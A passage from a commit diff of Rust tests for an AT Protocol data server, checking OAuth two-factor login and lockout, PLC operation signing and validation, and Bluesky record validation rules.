let redirect_uri = "https://example.com/2fa-valid-callback";
let mock_client = setup_mock_client_metadata(redirect_uri).await;
let client_id = mock_client.uri();
let (code_verifier, code_challenge) = generate_pkce();
let par_body: Value = http_client
.post(format!("{}/oauth/par", url))
.form(&[
("response_type", "code"),
("client_id", &client_id),
("redirect_uri", redirect_uri),
("code_challenge", &code_challenge),
("code_challenge_method", "S256"),
])
.send()
.await
.unwrap()
.json()
.await
.unwrap();
let request_uri = par_body["request_uri"].as_str().unwrap();
let auth_client = no_redirect_client();
let auth_res = auth_client
.post(format!("{}/oauth/authorize", url))
.form(&[
("request_uri", request_uri),
("username", &handle),
("password", password),
("remember_device", "false"),
])
.send()
.await
.unwrap();
assert!(auth_res.status().is_redirection());
let twofa_code: String = sqlx::query_scalar(
"SELECT code FROM oauth_2fa_challenge WHERE request_uri = $1"
)
.bind(request_uri)
.fetch_one(&pool)
.await
.expect("Failed to get 2FA code from database");
let twofa_res = auth_client
.post(format!("{}/oauth/authorize/2fa", url))
.form(&[
("request_uri", request_uri),
("code", &twofa_code),
])
.send()
.await
.unwrap();
assert!(
twofa_res.status().is_redirection(),
"Valid 2FA code should redirect to success, got status: {}",
twofa_res.status()
);
let location = twofa_res.headers().get("location").unwrap().to_str().unwrap();
assert!(
location.starts_with(redirect_uri),
"Should redirect to client callback, got: {}",
location
);
assert!(
location.contains("code="),
"Redirect should include authorization code"
);
let auth_code = location.split("code=").nth(1).unwrap().split('&').next().unwrap();
let token_res = http_client
.post(format!("{}/oauth/token", url))
.form(&[
("grant_type", "authorization_code"),
("code", auth_code),
("redirect_uri", redirect_uri),
("code_verifier", &code_verifier),
("client_id", &client_id),
])
.send()
.await
.unwrap();
assert_eq!(token_res.status(), StatusCode::OK, "Token exchange should succeed");
let token_body: Value = token_res.json().await.unwrap();
assert!(token_body["access_token"].is_string());
assert_eq!(token_body["sub"], user_did);
}
#[tokio::test]
async fn test_2fa_lockout_after_max_attempts() {
let url = base_url().await;
let http_client = client();
let ts = Utc::now().timestamp_millis();
let handle = format!("2fa-lockout-{}", ts);
let email = format!("2fa-lockout-{}@example.com", ts);
let password = "2fa-test-password";
let create_res = http_client
.post(format!("{}/xrpc/com.atproto.server.createAccount", url))
.json(&json!({
"handle": handle,
"email": email,
"password": password
}))
.send()
.await
.unwrap();
assert_eq!(create_res.status(), StatusCode::OK);
let account: Value = create_res.json().await.unwrap();
let user_did = account["did"].as_str().unwrap();
let db_url = common::get_db_connection_string().await;
let pool = sqlx::postgres::PgPoolOptions::new()
.max_connections(1)
.connect(&db_url)
.await
.expect("Failed to connect to database");
sqlx::query("UPDATE users SET two_factor_enabled = true WHERE did = $1")
.bind(user_did)
.execute(&pool)
.await
.expect("Failed to enable 2FA");
let redirect_uri = "https://example.com/2fa-lockout-callback";
let mock_client = setup_mock_client_metadata(redirect_uri).await;
let client_id = mock_client.uri();
let (_, code_challenge) = generate_pkce();
let par_body: Value = http_client
.post(format!("{}/oauth/par", url))
.form(&[
("response_type", "code"),
("client_id", &client_id),
("redirect_uri", redirect_uri),
("code_challenge", &code_challenge),
("code_challenge_method", "S256"),
])
.send()
.await
.unwrap()
.json()
.await
.unwrap();
let request_uri = par_body["request_uri"].as_str().unwrap();
let auth_client = no_redirect_client();
let auth_res = auth_client
.post(format!("{}/oauth/authorize", url))
.form(&[
("request_uri", request_uri),
("username", &handle),
("password", password),
("remember_device", "false"),
])
.send()
.await
.unwrap();
assert!(auth_res.status().is_redirection());
for i in 0..5 {
let res = http_client
.post(format!("{}/oauth/authorize/2fa", url))
.form(&[
("request_uri", request_uri),
("code", "999999"),
])
.send()
.await
.unwrap();
if i < 4 {
assert_eq!(res.status(), StatusCode::OK, "Attempt {} should show error page", i + 1);
let body = res.text().await.unwrap();
assert!(
body.contains("Invalid verification code"),
"Should show invalid code error on attempt {}", i + 1
);
}
}
let lockout_res = http_client
.post(format!("{}/oauth/authorize/2fa", url))
.form(&[
("request_uri", request_uri),
("code", "999999"),
])
.send()
.await
.unwrap();
assert_eq!(lockout_res.status(), StatusCode::OK);
let body = lockout_res.text().await.unwrap();
assert!(
body.contains("Too many failed attempts") || body.contains("No 2FA challenge found"),
"Should be locked out after max attempts. Body: {}",
&body[..body.len().min(500)]
);
}
#[tokio::test]
async fn test_account_selector_with_2fa_requires_verification() {
let url = base_url().await;
let http_client = client();
let ts = Utc::now().timestamp_millis();
let handle = format!("selector-2fa-{}", ts);
let email = format!("selector-2fa-{}@example.com", ts);
let password = "selector-2fa-password";
let create_res = http_client
.post(format!("{}/xrpc/com.atproto.server.createAccount", url))
.json(&json!({
"handle": handle,
"email": email,
"password": password
}))
.send()
.await
.unwrap();
assert_eq!(create_res.status(), StatusCode::OK);
let account: Value = create_res.json().await.unwrap();
let user_did = account["did"].as_str().unwrap().to_string();
let redirect_uri = "https://example.com/selector-2fa-callback";
let mock_client = setup_mock_client_metadata(redirect_uri).await;
let client_id = mock_client.uri();
let (code_verifier, code_challenge) = generate_pkce();
let par_body: Value = http_client
.post(format!("{}/oauth/par", url))
.form(&[
("response_type", "code"),
("client_id", &client_id),
("redirect_uri", redirect_uri),
("code_challenge", &code_challenge),
("code_challenge_method", "S256"),
])
.send()
.await
.unwrap()
.json()
.await
.unwrap();
let request_uri = par_body["request_uri"].as_str().unwrap();
let auth_client = no_redirect_client();
let auth_res = auth_client
.post(format!("{}/oauth/authorize", url))
.form(&[
("request_uri", request_uri),
("username", &handle),
("password", password),
("remember_device", "true"),
])
.send()
.await
.unwrap();
assert!(auth_res.status().is_redirection());
let device_cookie = auth_res.headers()
.get("set-cookie")
.and_then(|v| v.to_str().ok())
.map(|s| s.split(';').next().unwrap_or("").to_string())
.expect("Should have received device cookie");
let location = auth_res.headers().get("location").unwrap().to_str().unwrap();
assert!(location.contains("code="), "First auth should succeed");
let code = location.split("code=").nth(1).unwrap().split('&').next().unwrap();
let _token_body: Value = http_client
.post(format!("{}/oauth/token", url))
.form(&[
("grant_type", "authorization_code"),
("code", code),
("redirect_uri", redirect_uri),
("code_verifier", &code_verifier),
("client_id", &client_id),
])
.send()
.await
.unwrap()
.json()
.await
.unwrap();
let db_url = common::get_db_connection_string().await;
let pool = sqlx::postgres::PgPoolOptions::new()
.max_connections(1)
.connect(&db_url)
.await
.expect("Failed to connect to database");
sqlx::query("UPDATE users SET two_factor_enabled = true WHERE did = $1")
.bind(&user_did)
.execute(&pool)
.await
.expect("Failed to enable 2FA");
let (code_verifier2, code_challenge2) = generate_pkce();
let par_body2: Value = http_client
.post(format!("{}/oauth/par", url))
.form(&[
("response_type", "code"),
("client_id", &client_id),
("redirect_uri", redirect_uri),
("code_challenge", &code_challenge2),
("code_challenge_method", "S256"),
])
.send()
.await
.unwrap()
.json()
.await
.unwrap();
let request_uri2 = par_body2["request_uri"].as_str().unwrap();
let select_res = auth_client
.post(format!("{}/oauth/authorize/select", url))
.header("cookie", &device_cookie)
.form(&[
("request_uri", request_uri2),
("did", &user_did),
])
.send()
.await
.unwrap();
assert!(
select_res.status().is_redirection(),
"Account selector should redirect, got status: {}",
select_res.status()
);
let select_location = select_res.headers().get("location").unwrap().to_str().unwrap();
assert!(
select_location.contains("/oauth/authorize/2fa"),
"Account selector with 2FA enabled should redirect to 2FA page, got: {}",
select_location
);
let twofa_code: String = sqlx::query_scalar(
"SELECT code FROM oauth_2fa_challenge WHERE request_uri = $1"
)
.bind(request_uri2)
.fetch_one(&pool)
.await
.expect("Failed to get 2FA code");
let twofa_res = auth_client
.post(format!("{}/oauth/authorize/2fa", url))
.header("cookie", &device_cookie)
.form(&[
("request_uri", request_uri2),
("code", &twofa_code),
])
.send()
.await
.unwrap();
assert!(twofa_res.status().is_redirection());
let final_location = twofa_res.headers().get("location").unwrap().to_str().unwrap();
assert!(
final_location.starts_with(redirect_uri) && final_location.contains("code="),
"After 2FA, should redirect to client with code, got: {}",
final_location
);
let final_code = final_location.split("code=").nth(1).unwrap().split('&').next().unwrap();
let token_res = http_client
.post(format!("{}/oauth/token", url))
.form(&[
("grant_type", "authorization_code"),
("code", final_code),
("redirect_uri", redirect_uri),
("code_verifier", &code_verifier2),
("client_id", &client_id),
])
.send()
.await
.unwrap();
assert_eq!(token_res.status(), StatusCode::OK);
let final_token: Value = token_res.json().await.unwrap();
assert_eq!(final_token["sub"], user_did, "Token should be for the correct user");
}
+1
View File
@@ -735,6 +735,7 @@ async fn test_security_deactivated_account_blocked() {
let auth_res = http_client
.post(format!("{}/oauth/authorize", url))
.header("Accept", "application/json")
.form(&[
("request_uri", request_uri),
("username", &handle),
+2
View File
@@ -255,6 +255,7 @@ async fn test_full_plc_operation_flow() {
}
#[tokio::test]
#[ignore = "requires exclusive env var access; run with: cargo test test_sign_plc_operation_consumes_token -- --ignored --test-threads=1"]
async fn test_sign_plc_operation_consumes_token() {
let client = client();
let (token, did) = create_account_and_login(&client).await;
@@ -902,6 +903,7 @@ async fn test_migration_rejects_wrong_did_document() {
}
#[tokio::test]
#[ignore = "requires exclusive env var access; run with: cargo test test_full_migration_flow_end_to_end -- --ignored --test-threads=1"]
async fn test_full_migration_flow_end_to_end() {
let client = client();
let (token, did) = create_account_and_login(&client).await;
+513
View File
@@ -0,0 +1,513 @@
use bspds::plc::{
PlcError, PlcOperation, PlcService, PlcValidationContext,
cid_for_cbor, sign_operation, signing_key_to_did_key,
validate_plc_operation, validate_plc_operation_for_submission,
verify_operation_signature,
};
use k256::ecdsa::SigningKey;
use serde_json::json;
use std::collections::HashMap;
fn create_valid_operation() -> serde_json::Value {
let key = SigningKey::random(&mut rand::thread_rng());
let did_key = signing_key_to_did_key(&key);
let op = json!({
"type": "plc_operation",
"rotationKeys": [did_key.clone()],
"verificationMethods": {
"atproto": did_key.clone()
},
"alsoKnownAs": ["at://test.handle"],
"services": {
"atproto_pds": {
"type": "AtprotoPersonalDataServer",
"endpoint": "https://pds.example.com"
}
},
"prev": null
});
sign_operation(&op, &key).unwrap()
}
#[test]
fn test_validate_plc_operation_valid() {
let op = create_valid_operation();
let result = validate_plc_operation(&op);
assert!(result.is_ok());
}
#[test]
fn test_validate_plc_operation_missing_type() {
let op = json!({
"rotationKeys": [],
"verificationMethods": {},
"alsoKnownAs": [],
"services": {},
"sig": "test"
});
let result = validate_plc_operation(&op);
assert!(matches!(result, Err(PlcError::InvalidResponse(msg)) if msg.contains("Missing type")));
}
#[test]
fn test_validate_plc_operation_invalid_type() {
let op = json!({
"type": "invalid_type",
"sig": "test"
});
let result = validate_plc_operation(&op);
assert!(matches!(result, Err(PlcError::InvalidResponse(msg)) if msg.contains("Invalid type")));
}
#[test]
fn test_validate_plc_operation_missing_sig() {
let op = json!({
"type": "plc_operation",
"rotationKeys": [],
"verificationMethods": {},
"alsoKnownAs": [],
"services": {}
});
let result = validate_plc_operation(&op);
assert!(matches!(result, Err(PlcError::InvalidResponse(msg)) if msg.contains("Missing sig")));
}
#[test]
fn test_validate_plc_operation_missing_rotation_keys() {
let op = json!({
"type": "plc_operation",
"verificationMethods": {},
"alsoKnownAs": [],
"services": {},
"sig": "test"
});
let result = validate_plc_operation(&op);
assert!(matches!(result, Err(PlcError::InvalidResponse(msg)) if msg.contains("rotationKeys")));
}
#[test]
fn test_validate_plc_operation_missing_verification_methods() {
let op = json!({
"type": "plc_operation",
"rotationKeys": [],
"alsoKnownAs": [],
"services": {},
"sig": "test"
});
let result = validate_plc_operation(&op);
assert!(matches!(result, Err(PlcError::InvalidResponse(msg)) if msg.contains("verificationMethods")));
}
#[test]
fn test_validate_plc_operation_missing_also_known_as() {
let op = json!({
"type": "plc_operation",
"rotationKeys": [],
"verificationMethods": {},
"services": {},
"sig": "test"
});
let result = validate_plc_operation(&op);
assert!(matches!(result, Err(PlcError::InvalidResponse(msg)) if msg.contains("alsoKnownAs")));
}
#[test]
fn test_validate_plc_operation_missing_services() {
let op = json!({
"type": "plc_operation",
"rotationKeys": [],
"verificationMethods": {},
"alsoKnownAs": [],
"sig": "test"
});
let result = validate_plc_operation(&op);
assert!(matches!(result, Err(PlcError::InvalidResponse(msg)) if msg.contains("services")));
}
#[test]
fn test_validate_rotation_key_required() {
let key = SigningKey::random(&mut rand::thread_rng());
let did_key = signing_key_to_did_key(&key);
let server_key = "did:key:zServer123";
let op = json!({
"type": "plc_operation",
"rotationKeys": [did_key.clone()],
"verificationMethods": {"atproto": did_key.clone()},
"alsoKnownAs": ["at://test.handle"],
"services": {
"atproto_pds": {
"type": "AtprotoPersonalDataServer",
"endpoint": "https://pds.example.com"
}
},
"sig": "test"
});
let ctx = PlcValidationContext {
server_rotation_key: server_key.to_string(),
expected_signing_key: did_key.clone(),
expected_handle: "test.handle".to_string(),
expected_pds_endpoint: "https://pds.example.com".to_string(),
};
let result = validate_plc_operation_for_submission(&op, &ctx);
assert!(matches!(result, Err(PlcError::InvalidResponse(msg)) if msg.contains("rotation key")));
}
#[test]
fn test_validate_signing_key_match() {
let key = SigningKey::random(&mut rand::thread_rng());
let did_key = signing_key_to_did_key(&key);
let wrong_key = "did:key:zWrongKey456";
let op = json!({
"type": "plc_operation",
"rotationKeys": [did_key.clone()],
"verificationMethods": {"atproto": wrong_key},
"alsoKnownAs": ["at://test.handle"],
"services": {
"atproto_pds": {
"type": "AtprotoPersonalDataServer",
"endpoint": "https://pds.example.com"
}
},
"sig": "test"
});
let ctx = PlcValidationContext {
server_rotation_key: did_key.clone(),
expected_signing_key: did_key.clone(),
expected_handle: "test.handle".to_string(),
expected_pds_endpoint: "https://pds.example.com".to_string(),
};
let result = validate_plc_operation_for_submission(&op, &ctx);
assert!(matches!(result, Err(PlcError::InvalidResponse(msg)) if msg.contains("signing key")));
}
#[test]
fn test_validate_handle_match() {
let key = SigningKey::random(&mut rand::thread_rng());
let did_key = signing_key_to_did_key(&key);
let op = json!({
"type": "plc_operation",
"rotationKeys": [did_key.clone()],
"verificationMethods": {"atproto": did_key.clone()},
"alsoKnownAs": ["at://wrong.handle"],
"services": {
"atproto_pds": {
"type": "AtprotoPersonalDataServer",
"endpoint": "https://pds.example.com"
}
},
"sig": "test"
});
let ctx = PlcValidationContext {
server_rotation_key: did_key.clone(),
expected_signing_key: did_key.clone(),
expected_handle: "test.handle".to_string(),
expected_pds_endpoint: "https://pds.example.com".to_string(),
};
let result = validate_plc_operation_for_submission(&op, &ctx);
assert!(matches!(result, Err(PlcError::InvalidResponse(msg)) if msg.contains("handle")));
}
#[test]
fn test_validate_pds_service_type() {
let key = SigningKey::random(&mut rand::thread_rng());
let did_key = signing_key_to_did_key(&key);
let op = json!({
"type": "plc_operation",
"rotationKeys": [did_key.clone()],
"verificationMethods": {"atproto": did_key.clone()},
"alsoKnownAs": ["at://test.handle"],
"services": {
"atproto_pds": {
"type": "WrongServiceType",
"endpoint": "https://pds.example.com"
}
},
"sig": "test"
});
let ctx = PlcValidationContext {
server_rotation_key: did_key.clone(),
expected_signing_key: did_key.clone(),
expected_handle: "test.handle".to_string(),
expected_pds_endpoint: "https://pds.example.com".to_string(),
};
let result = validate_plc_operation_for_submission(&op, &ctx);
assert!(matches!(result, Err(PlcError::InvalidResponse(msg)) if msg.contains("type")));
}
#[test]
fn test_validate_pds_endpoint_match() {
let key = SigningKey::random(&mut rand::thread_rng());
let did_key = signing_key_to_did_key(&key);
let op = json!({
"type": "plc_operation",
"rotationKeys": [did_key.clone()],
"verificationMethods": {"atproto": did_key.clone()},
"alsoKnownAs": ["at://test.handle"],
"services": {
"atproto_pds": {
"type": "AtprotoPersonalDataServer",
"endpoint": "https://wrong.endpoint.com"
}
},
"sig": "test"
});
let ctx = PlcValidationContext {
server_rotation_key: did_key.clone(),
expected_signing_key: did_key.clone(),
expected_handle: "test.handle".to_string(),
expected_pds_endpoint: "https://pds.example.com".to_string(),
};
let result = validate_plc_operation_for_submission(&op, &ctx);
assert!(matches!(result, Err(PlcError::InvalidResponse(msg)) if msg.contains("endpoint")));
}
#[test]
fn test_verify_signature_secp256k1() {
let key = SigningKey::random(&mut rand::thread_rng());
let did_key = signing_key_to_did_key(&key);
let op = json!({
"type": "plc_operation",
"rotationKeys": [did_key.clone()],
"verificationMethods": {},
"alsoKnownAs": [],
"services": {},
"prev": null
});
let signed = sign_operation(&op, &key).unwrap();
let rotation_keys = vec![did_key];
let result = verify_operation_signature(&signed, &rotation_keys);
assert!(result.is_ok());
assert!(result.unwrap());
}
#[test]
fn test_verify_signature_wrong_key() {
let key = SigningKey::random(&mut rand::thread_rng());
let other_key = SigningKey::random(&mut rand::thread_rng());
let other_did_key = signing_key_to_did_key(&other_key);
let op = json!({
"type": "plc_operation",
"rotationKeys": [],
"verificationMethods": {},
"alsoKnownAs": [],
"services": {},
"prev": null
});
let signed = sign_operation(&op, &key).unwrap();
let wrong_rotation_keys = vec![other_did_key];
let result = verify_operation_signature(&signed, &wrong_rotation_keys);
assert!(result.is_ok());
assert!(!result.unwrap());
}
#[test]
fn test_verify_signature_invalid_did_key_format() {
let key = SigningKey::random(&mut rand::thread_rng());
let op = json!({
"type": "plc_operation",
"rotationKeys": [],
"verificationMethods": {},
"alsoKnownAs": [],
"services": {},
"prev": null
});
let signed = sign_operation(&op, &key).unwrap();
let invalid_keys = vec!["not-a-did-key".to_string()];
let result = verify_operation_signature(&signed, &invalid_keys);
assert!(result.is_ok());
assert!(!result.unwrap());
}
#[test]
fn test_tombstone_validation() {
let op = json!({
"type": "plc_tombstone",
"prev": "bafyreig6xxxxxyyyyyzzzzzz",
"sig": "test"
});
let result = validate_plc_operation(&op);
assert!(result.is_ok());
}
#[test]
fn test_cid_for_cbor_deterministic() {
let value = json!({
"alpha": 1,
"beta": 2
});
let cid1 = cid_for_cbor(&value).unwrap();
let cid2 = cid_for_cbor(&value).unwrap();
assert_eq!(cid1, cid2, "CID generation should be deterministic");
assert!(cid1.starts_with("bafyrei"), "CID should start with bafyrei (dag-cbor + sha256)");
}
#[test]
fn test_cid_different_for_different_data() {
let value1 = json!({"data": 1});
let value2 = json!({"data": 2});
let cid1 = cid_for_cbor(&value1).unwrap();
let cid2 = cid_for_cbor(&value2).unwrap();
assert_ne!(cid1, cid2, "Different data should produce different CIDs");
}
#[test]
fn test_signing_key_to_did_key_format() {
let key = SigningKey::random(&mut rand::thread_rng());
let did_key = signing_key_to_did_key(&key);
assert!(did_key.starts_with("did:key:z"), "Should start with did:key:z");
assert!(did_key.len() > 50, "Did key should be reasonably long");
}
#[test]
fn test_signing_key_to_did_key_unique() {
let key1 = SigningKey::random(&mut rand::thread_rng());
let key2 = SigningKey::random(&mut rand::thread_rng());
let did1 = signing_key_to_did_key(&key1);
let did2 = signing_key_to_did_key(&key2);
assert_ne!(did1, did2, "Different keys should produce different did:keys");
}
#[test]
fn test_signing_key_to_did_key_consistent() {
let key = SigningKey::random(&mut rand::thread_rng());
let did1 = signing_key_to_did_key(&key);
let did2 = signing_key_to_did_key(&key);
assert_eq!(did1, did2, "Same key should produce same did:key");
}
#[test]
fn test_sign_operation_removes_existing_sig() {
let key = SigningKey::random(&mut rand::thread_rng());
let op = json!({
"type": "plc_operation",
"rotationKeys": [],
"verificationMethods": {},
"alsoKnownAs": [],
"services": {},
"prev": null,
"sig": "old_signature"
});
let signed = sign_operation(&op, &key).unwrap();
let new_sig = signed.get("sig").and_then(|v| v.as_str()).unwrap();
assert_ne!(new_sig, "old_signature", "Should replace old signature");
}
#[test]
fn test_validate_plc_operation_not_object() {
let result = validate_plc_operation(&json!("not an object"));
assert!(matches!(result, Err(PlcError::InvalidResponse(_))));
}
#[test]
fn test_validate_for_submission_tombstone_passes() {
let key = SigningKey::random(&mut rand::thread_rng());
let did_key = signing_key_to_did_key(&key);
let op = json!({
"type": "plc_tombstone",
"prev": "bafyreig6xxxxxyyyyyzzzzzz",
"sig": "test"
});
let ctx = PlcValidationContext {
server_rotation_key: did_key.clone(),
expected_signing_key: did_key,
expected_handle: "test.handle".to_string(),
expected_pds_endpoint: "https://pds.example.com".to_string(),
};
let result = validate_plc_operation_for_submission(&op, &ctx);
assert!(result.is_ok(), "Tombstone should pass submission validation");
}
#[test]
fn test_verify_signature_missing_sig() {
let op = json!({
"type": "plc_operation",
"rotationKeys": [],
"verificationMethods": {},
"alsoKnownAs": [],
"services": {}
});
let result = verify_operation_signature(&op, &[]);
assert!(matches!(result, Err(PlcError::InvalidResponse(msg)) if msg.contains("sig")));
}
#[test]
fn test_verify_signature_invalid_base64() {
let op = json!({
"type": "plc_operation",
"rotationKeys": [],
"verificationMethods": {},
"alsoKnownAs": [],
"services": {},
"sig": "not-valid-base64!!!"
});
let result = verify_operation_signature(&op, &[]);
assert!(matches!(result, Err(PlcError::InvalidResponse(_))));
}
#[test]
fn test_plc_operation_struct() {
let mut services = HashMap::new();
services.insert("atproto_pds".to_string(), PlcService {
service_type: "AtprotoPersonalDataServer".to_string(),
endpoint: "https://pds.example.com".to_string(),
});
let mut verification_methods = HashMap::new();
verification_methods.insert("atproto".to_string(), "did:key:zTest123".to_string());
let op = PlcOperation {
op_type: "plc_operation".to_string(),
rotation_keys: vec!["did:key:zTest123".to_string()],
verification_methods,
also_known_as: vec!["at://test.handle".to_string()],
services,
prev: None,
sig: Some("test".to_string()),
};
let json_value = serde_json::to_value(&op).unwrap();
assert_eq!(json_value["type"], "plc_operation");
assert!(json_value["rotationKeys"].is_array());
}
+590
View File
@@ -0,0 +1,590 @@
use bspds::validation::{RecordValidator, ValidationError, ValidationStatus, validate_record_key, validate_collection_nsid};
use serde_json::json;
fn now() -> String {
chrono::Utc::now().to_rfc3339()
}
#[test]
fn test_validate_post_valid() {
let validator = RecordValidator::new();
let post = json!({
"$type": "app.bsky.feed.post",
"text": "Hello world!",
"createdAt": now()
});
let result = validator.validate(&post, "app.bsky.feed.post");
assert_eq!(result.unwrap(), ValidationStatus::Valid);
}
#[test]
fn test_validate_post_missing_text() {
let validator = RecordValidator::new();
let post = json!({
"$type": "app.bsky.feed.post",
"createdAt": now()
});
let result = validator.validate(&post, "app.bsky.feed.post");
assert!(matches!(result, Err(ValidationError::MissingField(f)) if f == "text"));
}
#[test]
fn test_validate_post_missing_created_at() {
let validator = RecordValidator::new();
let post = json!({
"$type": "app.bsky.feed.post",
"text": "Hello"
});
let result = validator.validate(&post, "app.bsky.feed.post");
assert!(matches!(result, Err(ValidationError::MissingField(f)) if f == "createdAt"));
}
#[test]
fn test_validate_post_text_too_long() {
let validator = RecordValidator::new();
let long_text = "a".repeat(3001);
let post = json!({
"$type": "app.bsky.feed.post",
"text": long_text,
"createdAt": now()
});
let result = validator.validate(&post, "app.bsky.feed.post");
assert!(matches!(result, Err(ValidationError::InvalidField { path, .. }) if path == "text"));
}
#[test]
fn test_validate_post_text_at_limit() {
let validator = RecordValidator::new();
let limit_text = "a".repeat(3000);
let post = json!({
"$type": "app.bsky.feed.post",
"text": limit_text,
"createdAt": now()
});
let result = validator.validate(&post, "app.bsky.feed.post");
assert_eq!(result.unwrap(), ValidationStatus::Valid);
}
#[test]
fn test_validate_post_too_many_langs() {
let validator = RecordValidator::new();
let post = json!({
"$type": "app.bsky.feed.post",
"text": "Hello",
"createdAt": now(),
"langs": ["en", "fr", "de", "es"]
});
let result = validator.validate(&post, "app.bsky.feed.post");
assert!(matches!(result, Err(ValidationError::InvalidField { path, .. }) if path == "langs"));
}
#[test]
fn test_validate_post_three_langs_ok() {
let validator = RecordValidator::new();
let post = json!({
"$type": "app.bsky.feed.post",
"text": "Hello",
"createdAt": now(),
"langs": ["en", "fr", "de"]
});
let result = validator.validate(&post, "app.bsky.feed.post");
assert_eq!(result.unwrap(), ValidationStatus::Valid);
}
#[test]
fn test_validate_post_too_many_tags() {
let validator = RecordValidator::new();
let post = json!({
"$type": "app.bsky.feed.post",
"text": "Hello",
"createdAt": now(),
"tags": ["tag1", "tag2", "tag3", "tag4", "tag5", "tag6", "tag7", "tag8", "tag9"]
});
let result = validator.validate(&post, "app.bsky.feed.post");
assert!(matches!(result, Err(ValidationError::InvalidField { path, .. }) if path == "tags"));
}
#[test]
fn test_validate_post_eight_tags_ok() {
let validator = RecordValidator::new();
let post = json!({
"$type": "app.bsky.feed.post",
"text": "Hello",
"createdAt": now(),
"tags": ["tag1", "tag2", "tag3", "tag4", "tag5", "tag6", "tag7", "tag8"]
});
let result = validator.validate(&post, "app.bsky.feed.post");
assert_eq!(result.unwrap(), ValidationStatus::Valid);
}
#[test]
fn test_validate_post_tag_too_long() {
let validator = RecordValidator::new();
let long_tag = "t".repeat(641);
let post = json!({
"$type": "app.bsky.feed.post",
"text": "Hello",
"createdAt": now(),
"tags": [long_tag]
});
let result = validator.validate(&post, "app.bsky.feed.post");
assert!(matches!(result, Err(ValidationError::InvalidField { path, .. }) if path.starts_with("tags/")));
}
#[test]
fn test_validate_profile_valid() {
let validator = RecordValidator::new();
let profile = json!({
"$type": "app.bsky.actor.profile",
"displayName": "Test User",
"description": "A test user profile"
});
let result = validator.validate(&profile, "app.bsky.actor.profile");
assert_eq!(result.unwrap(), ValidationStatus::Valid);
}
#[test]
fn test_validate_profile_empty_ok() {
let validator = RecordValidator::new();
let profile = json!({
"$type": "app.bsky.actor.profile"
});
let result = validator.validate(&profile, "app.bsky.actor.profile");
assert_eq!(result.unwrap(), ValidationStatus::Valid);
}
#[test]
fn test_validate_profile_displayname_too_long() {
let validator = RecordValidator::new();
let long_name = "n".repeat(641);
let profile = json!({
"$type": "app.bsky.actor.profile",
"displayName": long_name
});
let result = validator.validate(&profile, "app.bsky.actor.profile");
assert!(matches!(result, Err(ValidationError::InvalidField { path, .. }) if path == "displayName"));
}
#[test]
fn test_validate_profile_description_too_long() {
let validator = RecordValidator::new();
let long_desc = "d".repeat(2561);
let profile = json!({
"$type": "app.bsky.actor.profile",
"description": long_desc
});
let result = validator.validate(&profile, "app.bsky.actor.profile");
assert!(matches!(result, Err(ValidationError::InvalidField { path, .. }) if path == "description"));
}
#[test]
fn test_validate_like_valid() {
let validator = RecordValidator::new();
let like = json!({
"$type": "app.bsky.feed.like",
"subject": {
"uri": "at://did:plc:test/app.bsky.feed.post/123",
"cid": "bafyreig6xxxxxyyyyyzzzzzz"
},
"createdAt": now()
});
let result = validator.validate(&like, "app.bsky.feed.like");
assert_eq!(result.unwrap(), ValidationStatus::Valid);
}
#[test]
fn test_validate_like_missing_subject() {
let validator = RecordValidator::new();
let like = json!({
"$type": "app.bsky.feed.like",
"createdAt": now()
});
let result = validator.validate(&like, "app.bsky.feed.like");
assert!(matches!(result, Err(ValidationError::MissingField(f)) if f == "subject"));
}
#[test]
fn test_validate_like_missing_subject_uri() {
let validator = RecordValidator::new();
let like = json!({
"$type": "app.bsky.feed.like",
"subject": {
"cid": "bafyreig6xxxxxyyyyyzzzzzz"
},
"createdAt": now()
});
let result = validator.validate(&like, "app.bsky.feed.like");
assert!(matches!(result, Err(ValidationError::MissingField(f)) if f.contains("uri")));
}
#[test]
fn test_validate_like_invalid_subject_uri() {
let validator = RecordValidator::new();
let like = json!({
"$type": "app.bsky.feed.like",
"subject": {
"uri": "https://example.com/not-at-uri",
"cid": "bafyreig6xxxxxyyyyyzzzzzz"
},
"createdAt": now()
});
let result = validator.validate(&like, "app.bsky.feed.like");
assert!(matches!(result, Err(ValidationError::InvalidField { path, .. }) if path.contains("uri")));
}
#[test]
fn test_validate_repost_valid() {
let validator = RecordValidator::new();
let repost = json!({
"$type": "app.bsky.feed.repost",
"subject": {
"uri": "at://did:plc:test/app.bsky.feed.post/123",
"cid": "bafyreig6xxxxxyyyyyzzzzzz"
},
"createdAt": now()
});
let result = validator.validate(&repost, "app.bsky.feed.repost");
assert_eq!(result.unwrap(), ValidationStatus::Valid);
}
#[test]
fn test_validate_repost_missing_subject() {
let validator = RecordValidator::new();
let repost = json!({
"$type": "app.bsky.feed.repost",
"createdAt": now()
});
let result = validator.validate(&repost, "app.bsky.feed.repost");
assert!(matches!(result, Err(ValidationError::MissingField(f)) if f == "subject"));
}
#[test]
fn test_validate_follow_valid() {
let validator = RecordValidator::new();
let follow = json!({
"$type": "app.bsky.graph.follow",
"subject": "did:plc:test12345",
"createdAt": now()
});
let result = validator.validate(&follow, "app.bsky.graph.follow");
assert_eq!(result.unwrap(), ValidationStatus::Valid);
}
#[test]
fn test_validate_follow_missing_subject() {
let validator = RecordValidator::new();
let follow = json!({
"$type": "app.bsky.graph.follow",
"createdAt": now()
});
let result = validator.validate(&follow, "app.bsky.graph.follow");
assert!(matches!(result, Err(ValidationError::MissingField(f)) if f == "subject"));
}
#[test]
fn test_validate_follow_invalid_subject() {
let validator = RecordValidator::new();
let follow = json!({
"$type": "app.bsky.graph.follow",
"subject": "not-a-did",
"createdAt": now()
});
let result = validator.validate(&follow, "app.bsky.graph.follow");
assert!(matches!(result, Err(ValidationError::InvalidField { path, .. }) if path == "subject"));
}
#[test]
fn test_validate_block_valid() {
let validator = RecordValidator::new();
let block = json!({
"$type": "app.bsky.graph.block",
"subject": "did:plc:blocked123",
"createdAt": now()
});
let result = validator.validate(&block, "app.bsky.graph.block");
assert_eq!(result.unwrap(), ValidationStatus::Valid);
}
#[test]
fn test_validate_block_invalid_subject() {
let validator = RecordValidator::new();
let block = json!({
"$type": "app.bsky.graph.block",
"subject": "not-a-did",
"createdAt": now()
});
let result = validator.validate(&block, "app.bsky.graph.block");
assert!(matches!(result, Err(ValidationError::InvalidField { path, .. }) if path == "subject"));
}
#[test]
fn test_validate_list_valid() {
let validator = RecordValidator::new();
let list = json!({
"$type": "app.bsky.graph.list",
"name": "My List",
"purpose": "app.bsky.graph.defs#modlist",
"createdAt": now()
});
let result = validator.validate(&list, "app.bsky.graph.list");
assert_eq!(result.unwrap(), ValidationStatus::Valid);
}
#[test]
fn test_validate_list_name_too_long() {
let validator = RecordValidator::new();
